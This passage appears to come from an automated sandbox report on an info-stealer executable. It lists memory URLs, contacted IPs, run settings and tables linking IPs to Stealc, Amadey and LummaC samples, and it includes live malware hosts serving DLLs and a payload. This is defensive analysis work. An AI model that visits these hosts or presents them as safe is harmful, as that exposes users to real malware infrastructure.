https://sb.scorecardresearch.com/b?rn=1732215528921&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25D6022CE12A6CAA01731712E02D6DC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllN	file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dllP	file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	false		high
http://www.broofa.com	chromecache_471.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log9.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll4	file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
http://185.215.113.206N	file.exe, 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.instagram.com	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://drive.google.com/	manifest.json0.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://www.messenger.com	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://www.deezer.com/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://web.telegram.org/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php$	file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php(	file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	false		high
https://assets.msn.com	a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp.10.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php3	file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2000360601.0000000001260000.00000004.00000020.00020000.00000000.sdmp, AFHDHCAA.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KFCGDBAKKKFBGDHJKFHJJJJDGC.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_471.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllT	file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://msn.comXIDv10	Cookies.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
http://185.215.113.16/mine/random.exeE	file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.kugou.com/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://www.office.com	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2000360601.0000000001260000.00000004.00000020.00020000.00000000.sdmp, HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	FCBAEHCAEGDHJKFHJKFI.0.dr	false		high
https://tidal.com/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://ntp.msn.com	000003.log1.9.dr, 2cc80dabc69f58b6_0.9.dr	false		high
https://browser.events.data.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://gaana.com/	e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllt	file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.70.121.146	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
52.168.112.67	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.55.235.251	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.173.219.84	unknown	United States	3	MIT-GATEWAYSUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.44.133.17	unknown	United States	20940	AKAMAI-ASN1EU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.70.121.138	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.70.121.26	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.16
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560429
Start date and time:	2024-11-21 19:57:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/295@26/27
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 74.125.205.84, 34.104.35.123, 2.20.68.210, 216.58.208.234, 142.250.181.138, 172.217.21.42, 172.217.19.234, 172.217.19.202, 172.217.17.42, 142.250.181.42, 172.217.17.74, 192.229.221.95, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 2.20.68.234, 2.20.68.198, 2.16.158.171, 2.16.158.80, 2.16.158.81, 2.16.158.40, 2.16.158.51, 2.16.158.48, 2.16.158.192, 2.16.158.176, 2.16.158.185, 2.16.158.90, 2.16.158.187, 2.16.158.26, 2.16.158.91, 2.16.158.88, 2.16.158.75, 2.16.158.58, 2.16.158.83, 104.126.37.17, 104.126.37.40, 104.126.37.32, 104.126.37.51, 2.20.68.222, 2.16.158.82, 2.16.158.96, 2.16.158.97, 2.16.158.169, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.165.69.228, 2.16.158.186, 2.16.158.179, 142.250.176.195, 142.250.65.195, 142.251.35.163, 142.250.65.163, 142.251.32.99
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edge
Execution Graph export aborted for target DocumentsFIJKEHJJDA.exe, PID 8036 because it is empty
Execution Graph export aborted for target skotes.exe, PID 5292 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8908 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:58:42	API Interceptor	157x Sleep call for process: file.exe modified
19:59:06	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	http://steiraair.com	Get hash	malicious	Unknown	Browse
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse
	November Billing.html	Get hash	malicious	HTMLPhisher	Browse
	u.xls	Get hash	malicious	Braodo	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
20.25.227.174	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	FRSSDE.exe	Get hash	malicious	Remcos	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse	172.64.41.3
	test2.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	test2.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
s-part-0035.t-0009.t-msedge.net	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	http://email.double.serviceautopilot.com/c/eJwczE2OrCAQAODTyA5ThfwUCxZv0_coqOJJom1HbZO5_SRzga8d-4ffP0MKRcKWQG0OMVjforMsga04XpR789LQSOkxO4pGC6YFiSjHbHTnsQ0pXnvtot1yXZL1Gthyr2SJckV2vXkQs5bMsUNk5LqACCFoapQqh4SYAzgzigPnEZEAMEKeQw-1xc5OKcWwwORBjm_ddL70fEZT_t7HZ2zHPbdjN1tZ7_szLf8m95rcq4nKOR69Zr0m96rje487ZnOWnd_8X8_Jwzq27RqiO7-Pc1__mKe43wAAAP__Gf5XhQ	Get hash	malicious	Unknown	Browse	13.107.246.63
	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	http://steiraair.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	20mktbose2.bat	Get hash	malicious	Abobus Obfuscator	Browse	13.107.246.63
	https://new.goshenpubliclibrary.org/	Get hash	malicious	Unknown	Browse	13.107.246.63
	RFQ_PO_N39859JFK_ORDER_SPECIFICATIONS_OM.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	13.107.246.63
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse	13.107.246.63
sb.scorecardresearch.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	18.165.220.57
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.32.99.21
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.32.99.105
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	https://www.canva.com/design/DAGXCpgrUrs/iMtluWgvWDmsrSdUOsij5Q/view?utm_content=DAGXCpgrUrs&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.165.220.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	https://url.us.m.mimecastprotect.com/s/cx8GCJ6Aj8C8mZ33UVfXHy0nVz?domain=canva.com	Get hash	malicious	Unknown	Browse	18.165.220.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse	13.107.246.63
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	40.99.60.2
	https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/d7TO.ifvxdvrhe.ru%2FDflmD%2F	Get hash	malicious	Unknown	Browse	40.101.92.18
	scam.html	Get hash	malicious	Unknown	Browse	52.123.128.14
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.62
	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	http://steiraair.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	bZPAo2e2Pv.jar	Get hash	malicious	Can Stealer	Browse	20.233.83.145
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse	13.107.246.40
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse	13.107.246.63
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	40.99.60.2
	https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/d7TO.ifvxdvrhe.ru%2FDflmD%2F	Get hash	malicious	Unknown	Browse	40.101.92.18
	scam.html	Get hash	malicious	Unknown	Browse	52.123.128.14
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.62
	SeleniumVBA.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	http://steiraair.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	bZPAo2e2Pv.jar	Get hash	malicious	Can Stealer	Browse	20.233.83.145
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse	13.107.246.40
MICROSOFT-CORP-MSN-AS-BLOCKUS	http://www.im-creator.com/viewer/vbid-2a496caa-iwgbu2zx/vbid-f9637b78-lok1anrm	Get hash	malicious	Unknown	Browse	13.107.246.63
	Status Update DXLG.html	Get hash	malicious	Unknown	Browse	40.99.60.2
	https://www.google.com/url?sa=https://r20.rs6.net/tns.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/d7TO.ifvxdvrhe.ru%2FDflmD%2F	Get hash	malicious	Unknown	Browse	40.101.92.18
	scam.html	Get hash	malicious	Unknown	Browse	52.123.128.14
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.62
